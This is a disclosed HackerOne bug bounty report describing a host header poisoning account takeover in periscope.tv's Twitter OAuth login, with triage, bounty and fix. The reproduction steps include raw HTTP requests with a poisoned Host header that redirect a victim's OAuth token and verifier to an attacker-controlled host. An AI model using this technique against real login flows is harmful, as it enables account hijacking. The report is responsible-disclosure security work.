

X / xAI disclosed on HackerOne: Account Takeover in Periscope TV

X / xAI disclosed on HackerOne: Account Takeover in Periscope TV - Ron Chan, HackerOne.

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Content

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[#317476](#)

Account Takeover in Periscope TV

Report

Summary by ngalog

[\[\[image: image\]\]\(https://hackerone.com/ngalog\)](https://hackerone.com/ngalog)

Another way to exploit host header poisoning

[Show more](#)

Timeline

[\[\[image: ngalog\]\]\(https://hackerone.com/ngalog\)](https://hackerone.com/ngalog)

[ngalog](#)

submitted a report to [X / xAI](#).

February 19, 2018, 3:28am UTC

Summary:

When you login periscope.tv using twitter, and change the host header from `www.periscope.tv` to `attacker.com/www.periscope.tv`, the oauth redirect destination will be `attacker.com/www.periscope.tv`, thus allowing attacker to send the oauth authorize link to victim, and takeover their account after auto redirect.

Steps To Reproduce:

Visit <https://www.periscope.tv/> and click login with twitter, a request should appear

Code•292 Bytes

```
1GET /i/twitter/login?csrf= HTTP/1.1 2Host: www.periscope.tv 3User-Agent:
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 5Accept-Language: en-
US,en;q=0.5 6Accept-Encoding: gzip, deflate 7Referer: https://www.periscope.tv/ 8cookie: ...
```

Change the host header to

```
Host: hackerone.com/www.periscope.tv
```

Full request

Code•312 Bytes

```
1GET /i/twitter/login?csrf= HTTP/1.1 2Host: hackerone.com/www.periscope.tv 3User-Agent:
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 5Accept-
Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate 7Referer: https://www.periscope.tv/
8cookie: ...
```

Response should be something like

Code•156 Bytes

```
1<!DOCTYPE html><html><head><meta http-equiv="refresh"
content="0;https://twitter.com/oauth/authenticate?oauth_token= " ></head></html>
```

Send this link to victim, after authorizing, victim's twitter oauth token and verifier is sent to hackerone.com, attacker could now reuse the same token to takeover victim's account.

Vimeo: <https://vimeo.com/256356501> password:

Impact

Account Takeover for periscope.tv

[[image: Michael Watts]](<https://hackerone.com/bugtriage-michael>)

[bugtriage-michael](#)

changed the status to ****Needs more info.**

February 21, 2018, 1:30am UTC

Thank you for your report.

Here's how we tried to reproduce this report:

- Attacker logs in to Twitter.
- Attacker begins to log in via Twitter to www.periscope.tv
- Attacker intercepts the request to `www.periscope.tv/i/twitter/login` , modifying the Host header to say `www.example.com/www.periscope.tv` .
- Attacker intercepts the response to the modified request, records a URL looking like `https://twitter.com/oauth/authenticate?oauth_token=[attacker's oauth token]` , and drops the response.

- Victim logs in to Periscope.
- Victim visits the URL recorded in step 4.
- Victim authorizes the Periscope app, entering some valid Twitter credentials (but not the attacker's Twitter credentials).
- Victim is redirected to `https://www.example.com/www.periscope.tv/i/twitter/loginComplete?oauth_token=[attacker's oauth token]&oauth_verifier=[victim's oauth verifier]` .
- Attacker visits `www.periscope.tv/i/twitter/loginComplete?oauth_token=[attacker's oauth token]&oauth_verifier=[victim's oauth verifier]` .

However, at this point the attacker's Twitter account is not linked to a Periscope account, the victim's Periscope account is not linked to a Twitter account, and the attacker is not logged in to periscope.tv . Have you confirmed that a takeover is possible? Have we missed an important step, or misunderstood your report?

Thank you for thinking of Twitter security.

[[image: Ron Chan]](<https://hackerone.com/ngalog>)

[ngalog](#)

changed the status to ****New**.

Updated August 31, 2018, 5:35pm UTC

There are some difference between my step to reproduce and yours, not sure if they are important or not, but I will share anyway.

My victim account is , who has previously registered an account in periscope already, and the victim account did not logged in to periscope when the attack is delivered, also, valid twitter credeitals are not neccessary cause victim has already authorize periscope before.

Also, attacker doesn't need to login to twitter also, he can start the attack from your step 3.

I guess the biggest difference is that the victim has already authorized periscope before.

I made a video to show I confirmed takeover is possible.

<https://vimeo.com/256700396> password:

[[image: Michael Watts]](<https://hackerone.com/bugtriage-michael>)

[bugtriage-michael](#)

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February 21, 2018, 11:29pm UTC

Thanks for the followup.

We have reproduced the behavior you describe. We're looking into this, and we'll keep you updated when we have additional information.

Thank you for thinking of Twitter security.

[[image: Ron Chan]](<https://hackerone.com/ngalog>)

[ngalog](#)

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February 21, 2018, 11:30pm UTC

Thanks!

 (https://hackerone.com/aarun)

aarun

changed the status to ****Triaged**.

February 22, 2018, 12:09am UTC

Thank you for your report. We believe it may be a valid security issue and will investigate it further. It could take some time to find and update the root cause for an issue, so we thank you for your patience.

Thank you for helping keep Twitter secure!

 (https://hackerone.com/ngalog)

ngalog

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February 22, 2018, 12:25am UTC

nice pro pic, you make me want to change mine lol

 (https://hackerone.com/aarun)

aarun

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February 22, 2018, 12:39am UTC

Thanks mate :-)

 (https://hackerone.com/x)

X / xAI

rewarded [ngalog](#) with a bounty.

February 23, 2018, 8:40pm UTC

Thanks again. As mentioned we'll keep you updated as we investigate further. As a reminder, please remember to keep the details of this report private until we have fully investigated and addressed the issue.

 (https://hackerone.com/andrewsorensen)

andrewsorensen

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February 26, 2018, 5:48pm UTC

We've deployed a fix that should address the issue. Can you please confirm?

Thanks for thinking of Twitter security!

 (https://hackerone.com/ngalog)

ngalog

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February 27, 2018, 8:58am UTC

Unless someone beat the regex, I think the fix is good

[[image: Andrew Sorensen]](<https://hackerone.com/andrewsorensen>)

andrewsorensen

closed the report and changed the status to ****Resolved**.

March 2, 2018, 1:44am UTC

We consider this issue to be fixed now.

Thank you for helping keep Twitter secure!

ngalog

requested to disclose this report.

August 31, 2018, 5:32am UTC

asayler

agreed to disclose this report.

September 6, 2018, 3:37pm UTC

This report has been disclosed.

September 6, 2018, 3:37pm UTC